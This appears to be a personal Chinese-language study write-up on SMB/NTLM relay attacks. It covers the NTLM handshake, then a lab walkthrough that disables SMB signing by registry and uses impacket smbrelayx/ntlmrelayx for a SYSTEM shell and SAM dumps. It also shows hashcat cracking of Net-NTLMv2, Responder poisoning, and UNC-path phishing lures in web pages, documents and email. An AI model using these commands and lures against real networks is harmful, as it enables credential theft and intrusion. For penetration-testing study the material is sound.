前言: 之前自己看的時候不太理解,現在發現好理解多了,於是就打算自己寫一點來記錄下
SMB重放攻擊: 當訪問\\IP\File
的時候,會默認將當前用戶密碼憑證送到SMB服務進行認證,失敗后才彈出需要輸用戶密碼的對話框,但此時SMB服務器已經收到了相應數據,通過抓包即能獲取到用戶憑證。有了這個憑證,再進一步利用Hashcat等工具進行破解即有可能 得到能利用的用戶密碼。
在此之前還需要了解下我們拿到了憑證還需要進行Hashcat工具進行破解等類似的原因...
SMB通信采用的是NTLM驗證機制
NTLM認證的流程:
正常認證的情況下(參考klion):
Client端 <-----> Server端
1、當client端登陸時需要先輸入username,password和domain[默認是.,表示本地],之后client端會自己計算出password用DES加密后的hash,並將此hash暫時保存在本地
2、接着,client端會將自己的username明文發送給DC[server]
3、此時,DC會生成一組8字節的隨機數,也叫challenge[挑戰碼],返回給client端
4、當client端在收到這個挑戰碼以后,會把先把它拷貝一份出來,然后再拿着這個挑戰碼和之前已經加密的密碼hash再進行一次加密,加密后的東西叫response[響應],最后再將challenge,response和username一並發送給server端
5、Server端在接收到client端傳過來的這個三個值以后會將它們分別都轉發給DC
6、DC在接收到username,response,challenge以后,會根據傳過來的username,到自己的賬號數據庫中去查出來這個username所對應的hash,然后,再拿着這個hash和剛剛傳過來的challenge再進行一次加密
7、最后,就剩比對了,把客戶端傳過來的response和在[6]中最后加密的hash值進行對比,如果一致,ok,認證通過,登錄成功,反之,則登錄失敗
重放攻擊的情況(其實就是中間人攻擊):
Client端 <-----> 攻擊者 <-----> Server端
1、Client端還是正常向服務端發送登錄請求,由於client端此時並不知道攻擊者的存在,它以為請求是發送給了server端,但實際上它是先發給了攻擊者
2、然后攻擊者再拿着這個username假裝成client端發送給server端,此時server端正常返回一個challenge
3、攻擊者拿到這個challenge以后再把它返回給client端
4、而client端拿到challenge在本地和自己的password DES加密以后,會把這個response再次發送給攻擊者,此時client依然還以為攻擊者就是server端
5、最后,攻擊者會拿着client端發過來的這個response再把它交給server端去驗證
7、server端此時到自己的數據庫中一對比,發現hash一致,認證通過,登錄成功,可見,一次簡易的smb中間人攻擊就這樣被完成了
關於smb重放的一些利用前提條件:
1、目標機器不能開啟smb簽名(只要說到簽名,核心就是為了防數據篡改,任何協議都是如此),否則利用無效,一般情況下,Windows Server機器會默認開啟,而Windows單機系統[win7/8/8.1/10]默認都不會開
2、對一些打了ms08-068[KB957097]補丁的老系統[比如Windows xp/2003以下的系統]利用也是無效的,下面的實驗過程里面也會體現到
關閉SMB簽名驗證的命令: Windows Server的RequireSecuritySignature子鍵默認值為1
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
實驗過程:
攻擊機器:ubuntu 192.168.1.143
被攻擊機器:win7 192.168.1.138
第三方機器:win2008r2 192.168.1.152
1、第一步: 探測smb簽名以及系統版本和開放情況
nmap -sT -p 445 -Pn --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24
,結果是08r2的機器沒有開放,win7的機器有開放
2、第二步: ubuntu機器上進行smb中繼攻擊,這里利用的是impacket套件中的smbrelayx.py
sudo python smbrelayx.py -h 192.168.1.143 -e ~/shell.exe
3、第三步成功的情況: 然后再將第三方機器,然后第三方機器上執行net use \\192.168.1.143
,默認會將本機的Hash憑證和對方發來的挑戰碼生成NTLMv2哈希值再發送過去進行驗證
這里需要注意的192.168.1.143
是我們的攻擊機器,搭建的 偽SMB服務器,用來欺騙被攻擊的機器,然后偽SMB服務器接收到了發送過來的憑證(NTLMv2哈希值)又會重放請求我們要請求的機器為192.168.1.143
,然后會利用這個憑證對被攻擊的機器進行創建服務,以system權限運行服務,反彈shell的行為
4、第三步失敗的情況: 當接收到NTLMv2哈希值是錯誤的時候,操作與上面的一樣,只是在建立ipc管道連接的時候需要輸入錯誤的賬號和密碼
注意: 這種啟動服務會在windows日志中保存
剛才是對SMB簽名關閉的情況,現在我們試下對Win7開啟SMB簽名的情況下再利用的是怎么樣的
1、Win7機器上執行,開啟SMB簽名reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f
2、檢查是否關閉nmap -sT -p 445 -Pn --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24
3、再重復上面的操作,第三方機器net use \\192.168.1.143
,發現結果如下
利用hashcat破解Net-Ntlmv2:
1、將拿到的response也就是Net-Ntlmv2保存到hash.txt中,進行破解-m 5600
指定破解hash類型為Net-Ntlmv2
hashcat64.exe -m 5600 hash.txt pass.txt
2、結果如下
想下: 別人肯定不會無緣無故用其他計算機的ip來進行IPC管道類似的網絡訪問,這種是不切實際的,那么在實戰中可以怎么利用呢?
兩種途徑: 第一種肯定是我們去監聽局域網中的SMB流量傳輸,竊取相應的憑證,第二種就是我們進行釣魚,讓被攻擊方自己上鈎,其實就是一個主動一個被動的關系!
釣魚欺騙(主動):
1、可以通過在用戶經常訪問的 Web 網站(已經被我們拿下web權限)上插入 UNC 路徑, 例如 <img src="\\192.168.1.2\logo.jpg" />
以進行 SMB 請求 (當前用戶憑據),發現成功重放攻擊,一般來說getshell不太可能,但是大概率能夠拿到Net-Ntlmv2,實在不行也可以進行破解的操作
理解 自己感覺實用性一點都不好用,但是大家需要知道的就是unc路徑走的是SMB協議,所以才能對Net-Ntlmv2進行抓取
監聽流量(被動):Responder
1、利用 Responder 來進行 LLMNR/NetBIOS-NS 以及 WPAD 欺騙 sudo python2 Responder.py -I ens33 -v
2、然后讓第三方機器訪問其他機器,Responder進行投毒欺騙,抓取到的Net-Ntlmv2的流量
在這里Responder起到的作用就是幫我們把Net-Ntlmv2進行捕獲的,如果要對Net-Ntlmv2進行利用的話可以用到impacket套件中的ntlmrelayx.py,執行的命令為sudo python2 ntlmrelayx.py -t 192.168.1.158
,默認會幫你對攻擊的機器進行sam中的dump哈希的操作
理解: 自己感覺這種監聽流量很有效,但是進行欺騙不知道動靜大不大,在實戰中抓到Net-Ntlmv2更重要一點,對於拿服務器權限我們其實隨時都可以,前提是SMB簽名關閉
拓展:
在實際滲透過程中,往往會配合釣魚進行,紅隊經常這么玩。
1、在共享上放置特殊的目錄,當用戶點到這個目錄的時候會自動請求攻擊的SMB
2、在doc或郵件正文里插入文件,然后將相應的鏈接改為UNC路徑(類似這種\\servername\sharename格式),通過內網郵件發送給對方
3、利用PDF的GoTobe和GoToR功能讓對方打開PDF時自動請求SMB服務器上的文件等等。一般企業內部員工看到內部的郵件或公用共享文件夾會放松警惕,當點開之后,當前用戶密碼登錄憑證已經被人拿到。
參考文章:https://cloud.tencent.com/developer/news/200028
4、metasploit中的auxiliary/docx/word_unc_injector會創建一個帶有unc路徑的word文件,當該文件被打開的時候攻擊機器的msf上就會收到NTLMv2 hash。
更多文章參考:
https://paper.seebug.org/474/ 《花式竊取NetNTLM哈希的方法》
https://www.jianshu.com/p/c7d8e7d9c03c
http://www.sohu.com/a/328732685_609556 《SMB重放攻擊》